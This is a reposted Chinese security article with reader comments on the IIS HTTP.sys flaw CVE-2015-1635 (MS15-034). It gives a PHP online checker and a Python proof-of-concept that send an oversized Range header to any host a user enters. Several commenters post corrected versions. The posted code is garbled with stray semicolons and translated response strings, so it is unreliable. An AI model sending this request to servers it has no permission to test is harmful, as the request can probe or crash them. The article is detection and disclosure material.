CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

http.sys

2017年5月23日 1071点热度 0人点赞 0条评论

http.sys

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

IIS最新高危漏洞(CVE-2015-1635,MS15-034)POC及在线检测源码

xiaoya2015-04-16+6共1033145人围观 ,发现 33 个不明物体系统安全

2015-4-16 17:00更新:漏洞盒子在线检测工具

https://www.vulbox.com/lab

HTTP.sys远程执行代码漏洞(CVE-2015-1635,MS15-034)

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。https://technet.microsoft.com/zh-cn/library/security/MS15-034

在线检测源码

<?php


class VulnStatus
{
const FAIL        = 0;
const VULN        = 1;
const VULN_NOT_MS = 2;
const PATCHED     = 3;
const NOT_VULN    = 4;
const NOT_VULN_MS = 5;
const NOT_VULN_CF = 6;

public static function AsString( $status, $host )
{
switch( $status )
{
case self::FAIL       : return ';<div class="alert alert-warning">无法连接到 <b>'; . $host . ';</b> 测试漏洞。</div>';;
case self::VULN       : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';;
case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞,但它好像没使用IIS。</div>';;
case self::PATCHED    : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修复。</div>';;
case self::NOT_VULN   : return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>, 并没有使用IIS,可能不存在漏洞。</div>';;
case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';;
case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。</div>';;
}

return ';好像坏了';;
}
}

$host = false;
$status = false;
$url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL );

if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null )
{
$url = ';http://'; . $url;
}

$port = parse_url( $url, PHP_URL_PORT );

if( $port === null )
{
$port = 80;
}

$url = parse_url( $url, PHP_URL_HOST );

if( $url !== null )
{
$cachekey = ';ms15034_'; . $url . ';_'; . $port;
$cachetime = 300; // 5 minutes

$host = htmlspecialchars( $url, ENT_HTML5 );

if( $port !== 80 )
{
$host .= ';:'; . $port;
}

$memcached = new Memcached( );
$memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 );

$status = $memcached->get( $cachekey );

if( $status === false )
{
$fp = @fsockopen( $url, $port, $errno, $errstr, 5 );

if( $fp === false )
{
$status = VulnStatus::FAIL;
}
else
{
stream_set_timeout( $fp, 5 );

$header = "GET / HTTP/1.1\r\n";
$header .= "Host: stuff\r\n";
$header .= "Range: bytes=0-18446744073709551615\r\n";
$header .= "Connection: close\r\n\r\n";

fwrite( $fp, $header );

$response = fread( $fp, 1024 );

fclose( $fp );

if( strpos( $response, ';您的请求范围不符合'; ) !== false )
{
$status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;
}
else if( strpos( $response, ';请求一个无效的header头部'; ) !== false )
{
$cachetime = 3600; // 缓存时间
$status = VulnStatus::PATCHED;
}
else if( strpos( $response, ';Microsoft'; ) === false )
{
if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false )
{
$status = VulnStatus::NOT_VULN_CF;
}
else
{
$status = VulnStatus::NOT_VULN;
}
}
else
{
$status = VulnStatus::NOT_VULN_MS;
}
}

unset( $fp, $header, $response );

$memcached->set( $cachekey, $status, $cachetime );
}

$status = VulnStatus::AsString( $status, $host );
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="theme-color" content="#424242">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>MS15-034 测试</title>

<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet">

<style type="text/css">
.container {
max-width: 900px;
}

.masthead {
position: relative;
padding: 20px 0;
text-align: center;
color: #fff;
background-color: #424242;
margin-bottom: 20px;
}

.masthead a {
color: #fff;
}

.footer {
text-align: center;
padding: 15px;
color: #555;
}

.footer span {
color: #FA5994;
}

.form-inline {
text-align: center;
margin-bottom: 20px;
}

.github {
position: absolute;
top: 0;
right: 0;
}
</style>
</head>
<body>
<div>
<div>
<h1>HTTP.sys 堆栈漏洞测试</h1>
<h3>输入一个URL或主机名来测试服务器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3>
</div>
</div>



<div>
<blockquote>
<p>在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。</p>
<p>要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。</p>
</blockquote>

<form id="js-form" method="GET">
<div>
<input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { echo '; value="'; . $host . ';"';; } ?>>
<button type="submit" class="btn btn-primary btn-lg">检测</button>
</div>
</form>

<?php if( $status !== false ) { echo $status; } ?>

<div>使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟</div>
</div>
</body>
</html>

漏洞验证POC

python版

#!/usr/bin/env python
__author__ = ';jastra';
class bg_colors:
    VULN = ';33[92m';
    NONVULN= ';33[95m';
    EXPLOIT = ';33[91m';  
try:
    import requests
    import re
except ImportError as ierr:
    print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
    
def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers[';server';]
        
    if "Microsoft-IIS" in remote_server:
        print(bg_colors.VULN + "[+] 服务是 " + remote_server) 
        ms15_034_test(str(domain))
    else:
        print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) 
        
def ms15_034_test(domain):
    print(" 启动vuln检查!")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    req = requests.get(str(domain), params=vuln_buffer)
    if req.headers[';content';] == "请求范围不符合":
        print(bg_colors.EXPLOIT + "[+] 存在漏洞")
    else:
        print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+
               "需要手动检测")
usr_domain = raw_input("输入域名扫描: ")
identify_iis(usr_domain)

*作者/xiaoya,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

xiaoya

xiaoya2 篇文章等级: 2级
|
|
  • 上一篇:FakeTaobao木马家族变种演变(二)
  • 下一篇:点击诈骗的罪魁祸首:技术剖析Zero Access木马

这些评论亮了

  • 凌晨几度i(6级)FB作者回复
    为什么我在电脑运行python会提示bug,代码中 remote_server = req.headers[';server';] 和 if req.headers[';content';] == "请求范围不符合": 两处提示[ ]内最后一个分号不合法。。why?
    )24(亮了
发表评论

已有 33 条评论

  • 123 2015-04-16回复1楼

    远程溢出?上一次出现是几百年前了?

    亮了(4)
  • yjd (4级) 2015-04-16回复2楼

    来个.net 版啊。

    亮了(2)
  • 明天的门 2015-04-16回复3楼

    这些语言看着很难受。

    亮了(1)
  • 2000次渗透经验 2015-04-16回复4楼

    这漏洞不是叫红雨蘑菇么

    亮了(4)
  • 凌晨几度i (6级)FB作者 2015-04-16回复5楼

    为什么我在电脑运行python会提示bug,代码中 remote_server = req.headers[';server';] 和 if req.headers[';content';] == "请求范围不符合": 两处提示[ ]内最后一个分号不合法。。why?

    亮了(24)
    • hh 2015-04-16回复

      @ 凌晨几度i  仔细看看..

      亮了(0)
    • huoquan (1级) 2015-04-16回复

      @ 凌晨几度i  一样的问题 请问解决了吗 ?

      亮了(1)
    • 柠了一个檬 (1级) 2015-04-16回复

      @ 凌晨几度i  林鹏?

      亮了(0)
  • ANT 2015-04-16回复6楼

    如果大家也有代码洁癖,欢迎一起来蚁逅学习!
    本"POC"以及"在线检测"实现很简单,我想,清晰简洁的代码不应该这么杂乱无章,我也来发一个刚写的:http://ant.coding.io/#!ant/market/buy/552f23f332601d2100bca3a3

    亮了(4)
  • 上铺的哥 2015-04-16回复7楼

    转发微博

    亮了(0)
  • yyyy3333 2015-04-16回复8楼

    exp ip 80 getshell system
    执行的day一定很早就有人在玩了。。。

    亮了(0)
  • JuncoJet (3级) 2015-04-16回复9楼

    req.headers[';server';]
    req.headers[';content';]
    这 Python 略奇怪啊

    亮了(2)
    • xiaoya (2级) 2015-04-16回复

      @ JuncoJet  代码不知道怎么的。写到这里面就被添加了一些莫名其妙的符号。

      亮了(0)
  • jack (3级) 2015-04-16回复10楼

    这python 完全是瞎写啊

    亮了(0)
    • xiaoya (2级) 2015-04-16回复

      @ jack  代码不知道怎么的。写到这里面就被添加了一些莫名其妙的符号。

      亮了(0)
      • jack (3级) 2015-04-16回复

        @ xiaoya  req = requests.get(str(domain), params=vuln_buffer) 这一句不是要改headers?

        亮了(0)
  • jack (3级) 2015-04-16回复11楼

    #-*-coding:utf-*-

    __author__ = ‘;jastra’;
    try:
    import requests
    import re
    except ImportError as ierr:
    print(bg_colors.EXPLOIT + "Error, looks like you don’;t have %s installed", ierr)

    def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers['server']
    print req.headers

    if "Microsoft-IIS" in remote_server:
    print("[+] 服务是 " + remote_server)
    ms15_034_test(str(domain))
    else:
    print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server)

    def ms15_034_test(domain):
    print(" 启动vuln检查!")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    headers={"Range":"bytes=0-18446744073709551615","Connection":"close"}
    req = requests.get(str(domain), headers=headers)
    #print req.content
    if ";您的请求范围不符合" in req.content:
    print("[+] 存在漏洞")
    else:
    print("[-] IIS服务无法显示漏洞是否存在. "+"需要手动检测")

    usr_domain = raw_input("输入域名扫描: ")
    identify_iis(usr_domain)
    根据楼主改的,但是不知道原贴的原理对不对。。。。

    亮了(2)
  • wugui (1级) 2015-04-16回复12楼

    谁发个网站来测试一下

    亮了(0)
    • Master (3级) 2015-04-16回复

      @ wugui  192.168.11.50

      亮了(3)
  • bool 2015-04-16回复13楼

    以为大牛说过,我从来没有也没见过在python代码里用分号的。

    亮了(0)
    • raven (1级) 2017-02-26回复

      @ bool 在Py代码末尾用封号并不会报错,只是我们平时习惯不用封号,不信你试试

      亮了(0)
  • ModNar (1级) 2015-04-16回复14楼

    这poc代码还翻译成了中文,能不漏扫么?"请求范围不符合"?你确定不是英文:"Requested Range Not Satisfiable"?

    亮了(1)
    • xiaoya (2级) 2015-04-17回复

      @ ModNar  怪小编吧。

      亮了(0)
  • cool_fire 2015-04-16回复15楼

    一个数据包KO服务器,这样的漏洞被捕获真是太可惜了!

    亮了(0)
  • 功夫王 2015-04-16回复16楼

    代码里把"Requested Range Not Satisfiable"翻译成了中文我特么也是醉了

    亮了(0)
    • xiaoya (2级) 2015-04-17回复

      @ 功夫王 怪小编吧。

      亮了(0)
  • wangqiuyun (1级) 2015-04-17回复17楼

    这py脚本,我也是醉了,能不能专业点

    亮了(0)
  • wangqiuyun (1级) 2015-04-17回复18楼

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import requests
    import re

    def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers['server']
    if "Microsoft-IIS" in remote_server:
    print(‘[+] 服务是’ + remote_server)
    ms15_034_test(str(domain))
    else:
    print(‘[-] 服务器不是IIS\n可能是: ‘ + remote_server)

    def ms15_034_test(domain):
    print("启动vuln检查!")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"
    req = requests.get(str(domain), params=vuln_buffer)
    #print(req.content);
    if "请求范围不符合" in req.content:
    print(‘[+] 存在漏洞’)
    else:
    print(‘[-] IIS服务无法显示漏洞是否存在,需要手动检测’)

    if __name__== ‘__main__’:
    usr_domain = raw_input(‘输入域名扫描: ‘)
    identify_iis(usr_domain)

    亮了(0)
  • wangqiuyun (1级) 2015-04-17回复19楼

    我修正写了一个,大家凑合看吧

    亮了(0)
  • GreyH4t (1级) 2015-04-18回复20楼

    这代码有问题,应该是headers模式,而不是params,如下

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import requests

    def identify_iis(domain):
    req = requests.get(str(domain), proxies = proxies)
    remote_server = req.headers['server']
    if ‘Microsoft-IIS’ in remote_server:
    print(‘服务是’ + remote_server)
    ms15_034_test(str(domain))
    else:
    print(‘服务器不是IIS\n可能是: ‘ + remote_server)
    def ms15_034_test(domain):
    print(‘启动vuln检查!’)
    headers = {‘Host’: ‘stuff’,
    ‘Range’: ‘bytes=0-18446744073709551615′
    }
    req = requests.get(str(domain), headers = headers)
    if ‘Requested Range Not Satisfiable’ in req.content:
    print ‘存在HTTP.sys远程代码执行漏洞!’
    elif ‘The request has an invalid header name’ in req.content:
    print ‘漏洞已修复’
    else:
    print ‘IIS服务无法显示漏洞是否存在,需要手动检测’
    if __name__== ‘__main__’:
    usr_domain = raw_input(‘输入域名扫描: ‘)
    identify_iis(usr_domain)

    亮了(1)
  • oneroy (1级) 2015-05-15回复21楼

    弱弱的问下,Host: stuff里面的stuff不需要用实际的Host地址吗?

    亮了(3)
  • m 2015-05-26回复22楼

    写了批量扫描吧

    亮了(0)
  • tb1647329744 (1级) 2016-07-21回复23楼

    为毛ms系列不能有个可视化窗口工具

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

xiaoya

xiaoya

这家伙太懒,还未填写个人描述!

2 篇文章5 条评论

相关阅读

  • 戴尔VPN客户端Netextender 0day分析
  • 保护苹果Mac电脑数据安全,用系统内置工具就可以
  • 汽车安全:汽车黑客手册(电子书下载)
  • Linux勒索软件恶意来袭
  • Wannacry蠕虫勒索软件处置手册

特别推荐

关注我们 分享每日精选文章

不容错过

  • 专注“钓鱼人防”:安全新星企业PhishMe浅析kuma2017-04-19
  • 获取乘客和车主的个人信息?这记Uber逻辑漏洞“组合拳”值得一看ArthurKiller2016-06-28
  • 【企业研究报告】FreeBuf Insight:网络安全创新企业Top 10解读之root9BFreeBuf研究院2016-11-30
  • 检测一下你的专业指数:2015年十大测试工具你认识几个?FireFrank2015-12-29

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me